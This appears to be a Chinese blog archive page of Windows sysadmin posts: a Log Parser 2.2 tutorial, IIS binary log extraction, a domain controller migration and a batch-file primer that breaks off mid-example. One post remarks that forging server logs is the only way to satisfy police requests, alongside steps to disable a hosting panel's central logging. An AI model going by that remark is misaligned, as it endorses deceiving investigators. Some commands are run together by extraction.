分类为‘Microsoft’的日志

28
十二

SkyDrive是微软的25GB免费云存储服务,和GMail一样,今天它也有了Windows Explorer的挂在工具,这款名叫SkyDrive Explorer的免费工具可以让你像处理本地硬盘一样访问SkyDrive,可惜目前还有限制,不能通过拖拽的模式向云里传送文件,也不能直接双击打开文件。
http://skydriveexplorer.com/download/SkyDriveExplorer1.4.exe

, ,

20

全球GOOGLE地址:http://google.ghitr.com/blog/microsoft/log-parser-2-2-ru-he-yun-zuo

 

作者:
Gabriele Giuseppini
(Microsoft Corporation 的软件开发测试工程师)

审稿人
Jeffrey A. Johnson(Microsoft Corporation 的软件开发测试工程师)

本页内容
简介 简介
Log Parser 如何运作? Log Parser 如何运作?
搜索数据 搜索数据
将日志导出到 SQL 数据库 将日志导出到 SQL 数据库
创建报表 创建报表
总结 总结
更多信息 更多信息

*

[ad#ad_article_1]

简介

近几年,我有许多次被问到“Log Parser 有何用处?”这一问题。每次,我都感到很难找到适当的语言来描述这个工具。每当我找到了一句话来进行描述的时侯,随后都会发现这句话遗漏了一些重要的内容,无法真正表达出该工具的灵活性。当然,这可能是由于开发人员的偏执造成的,不过我对自己的回答,从来没有感到满意过。

我不会告诉您,Log Parser“能做”什么。 能用它来做什么,才是关键。我有很多次都对 Log Parser 的一些特殊应用感到很吃惊,我原以为它们是不可能实现的。我将告诉您它是 如何 运作的,希望这能让您懂得能用它来做什么,而且我会向您介绍该工具的三种最常见的应用方案。我敢肯定,您也会对 Log Parser 的新用途感到吃惊的。

历史点滴

在我们介绍 Log Parser 的内部原理之前,您可能想了解一下该工具的历史背景。2.0 版是 Microsoft 对外发布的第一个版本。Log Parser 1.0 是 Microsoft 的内部测试工具,几年前由本人开发而成,用于实现 IIS 日志记录功能的自动化测试。由于这个工具吸引了许多内部用户,因此本人于 2001 年 11 月推出了 2.0 版,并在 Internet 上提供了免费下载。

不久后,2.1 版随 IIS 6.0 资源工具包一同发布。该工具包包含有对 SQL 引擎功能的重要更新。

最后,2.2 版(目前的版本)于 2005 年 1 月推出。该版本包含了大量输入和输出格式,以及针对 SQL 引擎核心的其它一些重要更新。

Log Parser 如何运作?

Log Parser 使用户可以根据需要混合和匹配 输入格式输出格式,来创建数据处理管道。该工具使用以一种 SQL 语言编写的查询,在上述两个组件间创建管道。

输入格式

输入格式组件能够从各种源,读取并返回信息。输入格式提供的信息类似于数据库表,其中的记录由许多字段组成,而每个字段带有的值属于下列五种可能的数据类型之一:INTEGER、STRING、TIMESTAMP、REAL 和 NULL。

Log Parser 2.2 提供的输入格式包括:

分析 IIS 生成的日志文件并返回日志中的条目的输入格式
分析通用文本日志文件(按 CSV、TSV、NCSA、W3C 和 XML 标准进行格式化)并返回日志所含字段的输入格式
一个返回来自 Windows 事件日志的事件的输入格式
返回 Active Directory 对象、文件和目录以及注册表项上的信息的输入格式
一个分析 NetMon 捕获文件并返回 TCP/IP 数据包和连接上的信息的输入格式

假如没有一个可用的输入格式满足我们的需求,Log Parser 2.2 还允许您编写自定义的 输入格式插件。这些都是简单的 COM 对象,可以用任何编程语言(包括 C# 和脚本语言)来编写。您所要做的就是确定要让插件返回何种信息,只要实现了该插件,就可以像“标准”输入格式那样使用。

输出格式

输出格式的作用与输入格式正好相反:使用 记录,并用记录中的字段执行一些有用的功能。Log Parser 2.2 提供的输出格式能够:

将记录保存到文本文件(按 CSV、TSV、W3C 和 XML 标准格式化)
将记录保存到文本文件(根据特定于用户的通用模板格式化)
将记录显示到控制台或 GUI 窗口中
将记录上载到 SQL 数据库的表中
按 Syslog 标准格式化记录,并将记录分配给 Syslog 服务器、文本文件或用户
创建 Excel 样式的图表,以图形格式呈现记录的数值数据

同样,如果没有一个可用的输出格式满足您的需求,您还可以通过编程方式,利用 Log Parser COM 对象,来使用记录。

核心 SQL 引擎

在输入和输出格式间有一个数据处理引擎,能够通过一种 SQL 语言执行查询。Log Parser 查询实际上是一种用于粘连输入格式和输出格式的一种“胶水”,指定如何在输入格式提供的数据到达输出格式之前,对其进行转换。

这种“胶水”最简单的实例就是“SELECT *”查询。该查询用于指示应该将来自输入格式的记录,按原样传输给输出格式。通常,在 转换 文件格式时,使用这个简单的查询:比如,选择一个能够分析源文件中的数据的输入格式和一个按目标格式将记录写入文件的输出格式,并使用“SELECT *”传输未经处理的记录。

不过,SQL 语言设计用于执行较简单的“SELECT *”更重大的任务。您可以使用 Log Parser,对来自输入格式的数据进行筛选、排序和聚合,将您的计算结果发送到可显示和/或存储您所提取的信息的输出格式。

命令行与可编脚本的 COM 对象

您可以通过两种不同的方法使用 Log Parser:从命令行使用“LogParser.exe”可执行文件;从应用程序使用“LogParser.dll”库导出的 Log Parser COM 对象。具体要选择何种方法,取决于您要通过 Log Parser 来执行的任务。

在下面所介绍的几种应用方案中,我将使用命令行可执行程序,但是请记住,也可以使用 Log Parser COM 对象,通过脚本来实现这些方案。很灵活,不是吗?

搜索数据

Log Parser 最常见的应用之一是:在一组特定的数据中,搜索特定的信息。想象一下您正在管理一个 IIS 网站,并且被告知,有些用户发现一些未指定的页需要很长的执行时间。

您可能想查明的第一件事就是:究竟是哪些页需要如此长的执行时间。需要通过记事本打开 IIS 日志文件,查看数百万行日志条目吗?我可不这么认为。 假如您将 IIS 日志存储在 SQL 数据库中,您可能想运行一个查询,来找出运行时间超过 10 秒钟的页——如果您真的这么做了,那么可能就不需要 Log Parser——至少对于这个问题是这样。要是您没有把日志保存在 SQL 数据库中,又该怎么办呢?在这种情况下,您可以使用 Log Parser 分析 IIS 日志文件,查明哪些页所需的执行时间超过了 10 秒钟,并将结果显示在控制台窗口中。

具体方法如下。假定 IIS Web 服务器以 W3C 扩展的日志格式记录日志,而您使用 IISW3C 输入格式,分析 IIS 日志文件。

在运行任何查询之前,您需要这个输入格式导出了哪些字段。若要确定这一点,请转到命令行,确认 LogParser.exe 在路径中,并执行该命令:

C:\>logparser –h –i:IISW3C

这个命令提供了有关 IISW3C 输入格式的简明的帮助,其中包含一个列有 IISW3C 输入格式导出的所有字段的列表:

LogFilename (S)       LogRow (I)            date (T) time (T)              c-ip (S)              cs-username (S) s-sitename (S)        s-computername (S)    s-ip (S) s-port (I)            cs-method (S)         cs-uri-stem (S) cs-uri-query (S)      sc-status (I)         sc-substatus (I) sc-win32-status (I)   sc-bytes (I)          cs-bytes (I) time-taken (I)        cs-version (S)        cs-host (S) cs(User-Agent) (S)    cs(Cookie) (S)        cs(Referer) (S) s-event (S)           s-process-type (S)    s-user-time (R) s-kernel-time (R)     s-page-faults (I)     s-total-procs (I) s-active-procs (I)    s-stopped-procs (I)

根据上述输出,并借助IIS 日志记录文档,您就可以知道所要的是所有“time-taken”字段大于 10,000(“time-taken”字段用于测量执行页所需的 毫秒 数)的日志条目的“cs-uri-stem”字段。 that the page takes to execute).圆括号中的字母代表字段的 类型。“cs-uri-stem”字段属于 STRING 类型,而“time-taken”字段则属于 INTEGER 类型。

然后,定位到保存 IIS 日志文件的文件夹,并执行此命令:

C:\Logs>logparser "SELECT cs-uri-stem FROM ex*.log WHERE time-taken > 10000" –i:IISW3C

根据日志文件的大小,您可能需要等待几秒钟的时间,该命令才会开始输出结果。输出示例如下:

cs-uri-stem ------------------- /home/login.asp /home/login.asp /home/login.asp /home/login.asp /images/button.gif /home/login.asp /home/login.asp /home/login.asp /home/login.asp /home/login.asp Press a key...

首先,请注意,我们使用了“-i:IISW3C”来指定输入格式。这个参数告诉 Log Parser,我们要让 IISW3C 输入格式,为我们生成数据。

其次,请注意,我们并未指定任何输出格式;在这种情况下,Log Parser 会自动选择“NAT”输出格式,后者将在控制台窗口中,显示查询记录。实际上,这个输出格式在显示完十个记录后,就会暂停。它在等您按一下键盘上的任意键,随后将再次显示十个记录。

最后,请注意,我们的 SQL 查询的 FROM 子句指定了我们要让输入格式分析的数据的实际的 。对于 IISW3C 输入格式,我们可以指定任意数量的本地或远程文件(甚至包含通配符)。您可以在 FROM 子句中,指定更多的参数,但我不会在这里谈论这些选项——您可以在 Log Parser 说明文档的“输入格式”下,找到这些参数。

现在,回到我们所给的例子上,您可以从结果中看到,多数情况下,“login.asp”页的执行时间较长。不过,您也可能看到,其它一些页的加载时间,有时也会超过十秒钟,所以您还可能想找出每个不同的页出现过多少次执行时间超过十秒钟的情况。在输出中,出现次数较少的页,可能只是日志中的假“噪声”。

那么,继续运行以下命令:

C:\Logs>logparser "SELECT TOP 10 cs-uri-stem, COUNT(*) FROM ex*.log WHERE time-taken > 10000 GROUP BY cs-uri-stem ORDER BY COUNT(*) DESC" –i:IISW3C

具体输出可能如下所示:

cs-uri-stem              COUNT(ALL *) ------------------------ ------------ /home/login.asp          371 /images/lglogo.gif       2 /images/button.gif       1 /news/today.htm          1

这将命令 Log Parser 执行以下操作:

1. 查找所有页执行时间超过十秒钟的日志条目
2. 对于结果中每个不同的 页 URL,计算页 URL 在结果中出现的次数——换句话说,某个页出现过多少次执行时间超过十秒钟的情况
3. 按照从大到小的顺序,对所算出的出现次数的结果进行排序,并且仅显示前十个结果

根据上方的输出,您可以做出这样的结论:“login.asp”页频繁出现执行时间超过十秒钟的情况;结果中的其它页只是一些假条目,不能表明存在任何具体的问题。

将日志导出到 SQL 数据库

对于许多用户,Log Parser 所实现的查询功能并不能满足他们的需求。譬如,管理流量繁重的网站的公司通常需要将网站日志保存在中央数据库中,从而可以在其中运行任意数量的查询,并在多台 Web 服务器间关联数据。Windows 事件日志及其它日志文件也可能存在这样的情况。

Log Parser 也可通过提供一个可用于将查询结果上载到数据库表的“SQL”输出格式,来应对上述情况。

一般而言,从日志文件到 SQL 表的简单“SELECT *”查询就可能解决问题,但是大多数时候,日志包含的一些条目,并不值得永久保存在数据包中。譬如,您可能想排除对图像文件的请求;也可能存在对不存在的页的请求。

以下命令可以做到这一点:

C:\Logs>logparser "SELECT * INTO LogsTable FROM ex*.log WHERE TO_LOWERCASE (EXTRACT_EXTENSION(cs-uri-stem)) NOT IN ('gif';'jpg';'png') AND sc-status <> 404" –i:IISW3C –o:SQL –database:LogsDatabase

这个命令要求 Log Parser 筛选出以“.gif”、“.jpg”和“.png”结尾的页的条目(URL 不分大小写)。该命令还将排除 HTTP 错误代码“404”(即“page not found”)产生的请求。

所有其它请求都将传递给 SQL 输出格式,后者将把记录保存到 INTO 子句所指定的表中。另外,这个输出格式还接受“database”参数(可用于指定目标数据库的名称)以及其它许多参数(可用于指定到 SQL 数据库连接的其它属性)。

若要实现上述操作,您可以将上面的命令放在一个批处理文件中,并使用 SCHTASKS.EXE 工具,设定该批处理文件每小时运行一次——好了!——您就得到了一个自动的机制,可定期将日志文件中的条目,上载到 SQL 数据库。

请注意,每次执行上述命令时,Log Parser 都会反复检查 所有 日志条目,并将所有这些条目多次上载到数据库。我们真正需要的是一个“仅分析尚未分析过的日志条目”的机制。

Log Parser 2.2 的一个新功能正好可以满足这一要求:“增量分析”功能,也称为“检查点 (checkpointing)”。

大多数 Log Parser 输入格式支持一个名为“iCheckpoint”的参数。该参数可告诉输入格式将所分析的所有文件的当前状态,都保存在一个专门的数据文件(“检查点 (checkpoint)”文件)中。当您使用上一次分析期间生成的检查点文件执行查询时,输入格式将只分析输入文件中那些尚未分析过的部分——即 新的 条目。

所以,只需指定通过“iCheckpoint”参数,指定一个检查点文件的名称,具体如下:

C:\Logs>logparser "SELECT * INTO LogsTable FROM ex*.log WHERE TO_LOWERCASE (EXTRACT_EXTENSION(cs-uri-stem)) NOT IN ('gif';'jpg';'png') AND sc-status <> 404" –i:IISW3C –o:SQL –database:LogsDatabase –iCheckpoint:MyCheckpoint.lpc

在您第一次执行该命令时,并不存在“MyCheckpoint.lpc”文件,而且 IISW3C 输入格式分析了所有日志文件中的所有条目,并对结果数据进行筛选,最后再上载到数据库。在分析了所有日志后,IISW3C 输入格式会将每个日志文件的当前大小保存到“MyCheckpoint.lpc”文件。

当您稍后运行相同的命令时,IISW3C 输入格式将从上次分析结束的地方,开始加载检查点文件,并分析日志,从而仅处理、筛选和上载新的日志条目。完成后,将针对日志文件的新大小更新检查点文件,随后这个过程将再次循环。

假如认真理解了本文开头处的设计说明,那么您可能已经知道:只需更改输入格式,您就重复使用该命令,将 Log Parser 输入格式支持的 任何 日志上载到数据库。想要上载事件日志条目吗?只需使用 EVT 输入格式,具体如下:

C:\Logs>logparser "SELECT * INTO EventLogsTable FROM System" –i:EVT –o:SQL – database:LogsDatabase –iCheckpoint:MyCheckpoint.lpc

创建报表

至此,您应该已经知道:通过选择正确的输入格式并编写正确的查询,就可以从日志文件、系统或 Log Parser 支持的任何对象,获得所需的任何信息。

不过,我们只看到有关命令将信息返回到控制台窗口,或者将记录上载到 SQL 数据库。假如您正在使用 Log Parser,为您的管理团队生成报表,那么您可能需要某种比 SQL 表更人性化的东西,不是吗?

生成 HTML 页

在这个例子中,假设我们要生成一个报表,使之包含一台特定的远程计算机(将在该计算机的安全事件日志中检索)上的所有登录信息:

C:\>logparser "SELECT ComputerName, TimeGenerated AS LogonTime, STRCAT(STRCAT(EXTRACT_TOKEN (Strings, 1, '|'), '\\'), EXTRACT_TOKEN(Strings, 0, '|')) AS Username FROM \\SERVER01 \Security WHERE EventID IN (552; 528) AND EventCategoryName = 'Logon/Logoff'" -i:EVT

不要被该查询吓倒——其表面上的复杂性大多是因为我们为了从事件数据中提取完整的 <doman>\<username> 字符串,而执行的一些字符串操作造成的。

若使用 NAT 输出格式,具体的输出结果如下所示:

ComputerName LogonTime           Username ------------ ------------------- ---------------------------- SERVER01     2004-06-24 09:47:12 NT AUTHORITY\NETWORK SERVICE SERVER01     2004-06-24 09:48:05 SERVERDC\Administrator SERVER01     2004-06-24 09:48:05 NT AUTHORITY\NETWORK SERVICE SERVER01     2004-06-24 10:00:59 NT AUTHORITY\NETWORK SERVICE SERVER01     2004-06-24 10:01:00 NT AUTHORITY\LOCAL SERVICE SERVER01     2004-06-24 10:01:06 SERVER01\Gabriele SERVER01     2004-06-24 10:01:15 NT AUTHORITY\LOCAL SERVICE SERVER01     2004-06-24 10:01:18 SERVERDC\Monica SERVER01     2004-06-24 10:01:18 NT AUTHORITY\LOCAL SERVICE SERVER01     2004-06-24 10:01:24 NT AUTHORITY\LOCAL SERVICE

为了将该输出格式化为 HTML 格式,我们将使用 TPL 输出格式。该输出格式把一个参数作为说明如何格式化输出的文本文件(“模板”文件)。这里,我们将编写该模板文件,将输出转化为 HTML 表,具体如下:

<LPHEADER> <HTML> <HEAD><TITLE>Logon/Logoff Report</TITLE></HEAD> <BODY> <H1>Logon/Logoff Report</H1> <TABLE BGCOLOR="#D0D0E0" BORDER="1" CELLPADDING="10"> <TR> <TH>%FIELDNAME_1%</TH> <TH>%FIELDNAME_2%</TH> <TH>%FIELDNAME_3%</TH> </TR> </LPHEADER>

<LPBODY> <TR> <TD><TT>%FIELD_1%</TT></TD> <TD><TT>%FIELD_2%</TT></TD> <TD><TT>%FIELD_3%</TT></TD> </TR> </LPBODY>

<LPFOOTER> </BODY> </HTML> </LPFOOTER>

我不在这里深入探讨该模板文件的细节——其格式在 Log Parser 的联机文档中有非常详细的说明。请注意,这个模板文件分为三节(标题、正文和页脚),每一节都使用了特殊的“%变量%”(在运行时,由来自查询结果的值进行替换)。

现在,我们就可以通过上述命令,使用 TPL 输出格式,生成报表了:

C:\>logparser "SELECT ComputerName, TimeGenerated AS LogonTime, STRCAT(STRCAT(EXTRACT_TOKEN (Strings, 1, '|'), '\\'), EXTRACT_TOKEN(Strings, 0, '|')) AS Username INTO Report.html FROM \\SERVER01\Security WHERE EventID IN (552; 528) AND EventCategoryName = 'Logon/Logoff'" - i:EVT –o:TPL –tpl:MyTemplate.txt

该命令将生成一个“Report.html”文件,并在浏览器中打开,具体如“图 1”所示。

Figure 1: Report generated by using the TPL output format
图 1:使用 TPL 输出格式生成的报表

生成图表

在最后一个例子中,我将向您展示如何在不使用 Excel 的情况下,直接从查询结果生成图表。

以下命令可计算出 IIS 日志文件每小时的命中总数,具体方法是:使用 CHART 输出格式,创建一个包含图表的 JPG 图像:

C:\>logparser "SELECT TO_STRING(time, 'HH') AS Hour, COUNT(*) AS Hits INTO MyChart.jpg FROM ex*.log GROUP BY Hour ORDER BY Hour ASC" -i:IISW3C -o:CHART -chartType:ColumnClustered - chartTitle:"Hourly Hits" -groupSize:420x280

具体输出如“图 2”所示。

Figure 2: Chart Output of Hourly Hits
图 2:显示每小时命中数的图表输出

总结

我们已经看到 Log Parser 体系结构可实现大量应用方案,而这都是通过 Log Parser 灵活的“数据处理管道”实现的。我向您介绍了可以使用 Log Parser 搜索数据,将日志上载到 SQL 数据库,并生成报表,而这只是该工具常规应用方案的三个例子。

我在前面说过,很难用一句话来概括 Log Parser 的用户,我可不是在骗你——不是吗?

更多信息

请参考下列资源:

http://www.logparser.com: 该站点(由 Mike Gunderloy 所有并维护)称为“非官方的 Log Parser 支持站点”,提供了一个公共论坛,供用户进行答疑,交流使用技巧,以及汇报问题。此站点还提供了一个知识库来解答一些常见问题,并列出了网上其他有关 Log Parser 的文章的大量链接。
《Microsoft Log Parser 工具包》 一书包含本人以及其它众多 Log Parser 用户所提供的信息和脚本。该书介绍了有关此工具的使用技巧和窍门,可帮助用户充分挖掘 Log Parser 的潜能。
脚本的故事: 本文摘自 TechNet 的 脚本专家 专栏,介绍了如何通过编程方式使用 Log Parser 可编脚本的 COM 对象,如何在脚本中选择输入和输出格式,如何设置属性,以及如何使用 Log Parser 查询生成的记录。

20

 http://google.ghitr.com/microsoft/iis-ri-zhi-guan-li-cong-er-jin-zhi-ibl-zhong-fen-li-ri-zhi

 

IIS 6.0还拥有一种称为二进制日志的功能,启用这个功能后,IIS 6.0将把Web网站的所有日志信息写入一个二进制格式的日志文件,日志文件的扩展名是.ibl。要启用二进制日志功能,只要把配置文件的 W3SVCC/CentralBinaryLoggingEnabled条目设置成ture(1)即可。对于ISP来说,这个功能应该非常有用。ISP的 每台机器上可能有1000甚至更多的Web网站,如果每个Web网站每天生成一个日志文件,日志文件的总数很快会达到一个天文数字。微软最近发布的Log Parser 2.0工具能够读取二进制日志文件并生成报告,这个工具可以从http: //download.microsoft.com/download/iis50/utility/2.0/nt5xp/en-us/setup.exe 下载。Log Parser 2.0还能够读取前面介绍的httperr.log文件并生成报告。

先下载Log Parser 2.0,然后进入CMD命令行模式下,再进入软件的安装目录,就是logparser.exe所在的目录,然后执行以下命令提取日志!

Log Parser 2.0的详细使用方法和说明请查看http://blog.atimg.com/article/1035.htm

以下命令是提取站点ID为742的网站的日志到aaa.txt文件里!

logparser “select * into aaa.txt from *.ibl where siteid=742″

PS:因为星外的日志默认只保留两天,但是如果你服务器被网监或公安查封你去协调解封时他们会要求你提供至少两个月的网站日志出来,这时所有的广大星外虚拟主机系统的用户就开始头大了,因为你已经没办法提取超过两天的日志了,这时候你除了伪造日志来应付公安再没有别的办法了,你想有更多的日志只能关闭星外的日志功能了,关闭方法如下:

青云 09:42:16
不用你们的日志管理用IIS本身的日志管理怎么设置?

IT力量 2 09:43:31
如果您已使用了星外的主机系统,由于默认地它是合并日志格式,

可以这样解决,
先运行cmd,然后运行:
CD C:\Inetpub\AdminScripts\
进入这个目录,
再运行:
cscript.exe adsutil.vbs SET W3SVC/CentralBinaryLoggingEnabled false
然后重启IIS

这样设置后流量功能将无效.

如果以后要恢复到合并日志格式,可以在
开始—7i24虚拟主机受控端—-修改共享密码,就会恢复到合并状态
青云 09:44:49
这样设置后你们的系统除日志外还能正常运行不能?

IT力量 2 09:44:59
正常.

, ,

21

           现在很多的服务器都是采用的adaptec 芯片的RAID控制器!在安装的时候,我们都已经做好了RAID设置,可以服务器上线运行后,我们不可能关机进RAID的控制界面去检查硬盘是否离线之类的! 所以我们需要一个在线的操作程序!

 

 

        偶尔在网上搜索到adaptec storage Manager! adaptec存储设备管理软件!!! 这软件真是个好东西!!

 

        它几乎支持全系统操作系统。像windows,linux,unix,
5.1 All
5.2 Windows – All
5.3 Windows 2000
5.4 Linux
5.5 SCO OpenServer
5.6 Open Unix and UnixWare
5.7 NetWare
[ad#ad_article_1]

继续阅读 »

, ,

19

ad_top

 要想把2008加入到2003,首先得练 易精经!!
继续阅读 »

, , ,

16

今天下班回家后,突然接公司老大电话说,有一客户要求将2003DC迁移到2008上面。

为了给予客户准确的回答,我立马驱猫上网,下载最新的2008以来做实验。  可是这该死的ADSL速度慢得像…….

所以就只有用两台2003企业版的虚拟机来模拟客户DC,用一台XP来模拟客户处的用户端。

                 DC—-DC(NEW)

                  |

               XP

 

DC:1.1.1.1

DC(NEW):1.1.1.2

XP1:1.1.1.10

 

    首先在DC上面安装域控,并新建两用户,一个computer,一个xp。computer加入企业管理组。用来执行加入、退出域操作。xp用户用来在客户端登录。。。。

    一切正常中。。。。  DC顺利安装成功,XP也顺利的登录进域了。

 

    开始将另一台DC(new)以辅助域控的身份加入到原域中。当  提示RPC服务不可用..  检查相关服务,丫的,RPC服务正常呢!难道是DNS有错?  PING ghitr.org能够正常解析到DC的IP上呀!!!   突然想起看网卡的协议,一看郁闷我了!原来在安装的时候我偷了一个懒,只勾选了tcp/ip协议。当然导致不能解析Netbois协议了哟….  添加协议。安装辅助域控!还是报错!!!  没时间了,只有先以普通身份加入到域中,再行安装辅助域控。这一次成功了!

第二步:(netdom是一个很有意思的命令,EX:netdom query fsmo)

    开始迁移域控。(在主控上面操作)

继续阅读 »

04

 

  批处理文件,在MS-DOS中,.bat文件是可执行文件,有一系列命令构成,其中可以包含对其他程序的调用。

  首先,批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。

  其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。

  第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:\\BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:\\batch,你就可以在任意位置运行所有你编写的批处理程序。

  第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows98下的autoexec.bat的示例:

  @ECHOOFF

  PATHC:\\WINDOWS;C:\\WINDOWS\\COMMAND;C:\\UCDOS;C:\\DOSTools;C:\\SYSTOOLS;C:\\WINTOOLS;C:\\BATCH

  LHSMARTDRV.EXE/X

  LHDOSKEY.COM/Insert

  LHCTMOUSE.EXE

  SETTEMP=D:\\TEMP

  SETTMP=D:\\TEMP

  批处理的作用

  简单的说,批处理的作用就是自动的连续执行多条命令。

  这里先讲一个最简单的应用:在启动wps软件时,每次都必须执行(>前面内容表示DOS提示符):

  C:\\>cdwps

  C:\\WPS>spdos

  C:\\WPS>py

  C:\\WPS>wbx

  C:\\WPS>wps

  如果每次用WPS之前都这样执行一遍,您是不是觉得很麻烦呢?

  好了,用批处理,就可以实现将这些麻烦的操作简单化,首先我们编写一个runwps.bat批处理文件,内容如下:

  @echooff

  c:

  cd\\wps

  spdos

  py

  wbx

  wps

  cd\\

  以后,我们每次进入wps,只需要运行runwps这个批处理文件即可。

  常用命令

  echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

  echo表示显示此命令后的字符

  echooff表示在此语句后所有运行的命令都不显示命令行本身

  @与echooff相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

  call调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。

  pause运行此句会暂停批处理的执行并在屏幕上显示Pressanykeytocontinue…的提示,等待用户按任意键后继续

  rem表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。

  例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:命令注释:

  @echooff不显示后续命令行及当前命令行

  dirc:\\*.*>a.txt将c盘文件列表写入a.txt

  callc:\\ucdos\\ucdos.bat调用ucdos

  echo你好显示\&#34;你好\&#34;

  pause暂停,等待按键继续

  rem准备运行wps注释:准备运行wps

  cducdos进入ucdos目录

  wps运行wps

  批处理文件的参数

  批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。

  %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

  例2:C:根目录下有一批处理文件名为f.bat,内容为:

  @echooff

  format%1

  如果执行C:\\>fa:

  那么在执行f.bat时,%1就表示a:,这样format%1就相当于formata:,于是上面的命令运行时实际执行的是formata:

  例3:C:根目录下一批处理文件名为t.bat,内容为:

  @echooff

  type%1

  type%2

  那么运行C:\\>ta.txtb.txt

  %1:表示a.txt

  %2:表示b.txt

  于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

  特殊命令

  ifgotochoicefor是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

  一、if是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:

  1、if[not]\&#34;参数\&#34;==\&#34;字符串\&#34;待执行的命令

  参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

  例:if\&#34;%1\&#34;==\&#34;a\&#34;formata:

  2、if[not]exist[路径\\]文件名待执行的命令

  如果有指定的文件,则条件成立,运行命令,否则运行下一句。

  如:ifexistc:\\config.systypec:\\config.sys

  表示如果存在c:\\config.sys文件,则显示它的内容。

  3、iferrorlevel待执行的命令

  很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过iferrorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。

  如iferrorlevel2gotox2

  二、goto批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。

  如:

  gotoend

  :end

  echothisistheend

  标号用“:字符串”来定义,标号所在行不被执行。

  三、choice使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于iferrorlevel配合,根据用户的选择运行不同的命令。

  注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice/?查看用法。

  choice的命令语法(该语法为Windows2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

  CHOICE[/Cchoices][/N][/CS][/Ttimeout/Dchoice][/Mtext]

  描述:

  该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

  参数列表:

  /Cchoices指定要创建的选项列表。默认列表是\&#34;YN\&#34;。

  /N在提示符中隐藏选项列表。提示前面的消息得到显示,选项依旧处于启用状态。

  /CS允许选择分大小写的选项。在默认情况下,这个工具是不分大小写的。

  /Ttimeout做出默认选择之前,暂停的秒数。可接受的值是从0到9999。如果指定了0,就不会有暂停,默认选项

  会得到选择。

  /Dchoice在nnnn秒之后指定默认选项。字符必须在用/C选项指定的一组选择中;同时,必须用/T指定nnnn。

  /Mtext指定提示之前要显示的消息。如果没有指定,工具只显示提示。

  /?显示帮助消息。

  注意:

  ERRORLEVEL环境变量被设置为从选择集选择的键索引。列出的第一个选择返回1,第二个选择返回2,等等。如果用户按的键不是有效的选择,该工具会发出警告响声。如果该工具检测到错误状态,它会返回255的ERRORLEVEL值。如果用户按Ctrl+Break或Ctrl+C键,该工具会返回0的ERRORLEVEL值。在一个批程序中使用ERRORLEVEL参数时,将参数降序排列。

  示例:

  CHOICE/?

  CHOICE/CYNC/M\&#34;确认请按Y,否请按N,或者取消请按C。\&#34;

  CHOICE/T10/Cync/CS/Dy

  CHOICE/Cab/M\&#34;选项1请选择a,选项2请选择b。\&#34;

  CHOICE/Cab/N/M\&#34;选项1请选择a,选项2请选择b。\&#34;

  如果我运行命令:CHOICE/CYNC/M\&#34;确认请按Y,否请按N,或者取消请按C。\&#34;

  屏幕上会显示:

  确认请按Y,否请按N,或者取消请按C。[Y,N,C]?

  例:test.bat的内容如下(注意,用iferrorlevel判断返回值时,要按返回值从高到低排列):

  @echooff

  choice/Cdme/M\&#34;defrag,mem,end\&#34;

  iferrorlevel3gotoend

  iferrorlevel2gotomem

  iferrotlevel1gotodefrag

  :defrag

  c:\\dos\\defrag

  gotoend

  :mem

  mem

  gotoend

  :end

  echogoodbye

  此批处理运行后,将显示“defrag,mem,end[D,M,E]?”,用户可选择dme,然后if语句根据用户的选择作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以gotoend将程序跳到end标号处,然后程序将显示goodbye,批处理运行结束。

  四、for循环命令,只要条件符合,它将多次执行同一命令。

  语法:

  对一组文件中的每一个文件执行某个特定命令。

  FOR%%variableIN(set)DOcommand[command-parameters]

  %%variable指定一个单一字母可替换的参数。

  (set)指定一个或一组文件。可以使用通配符。

  command指定对每个文件执行的命令。

  command-parameters为特定命令指定参数或命令行开关。

  例如一个批处理文件中有一行:

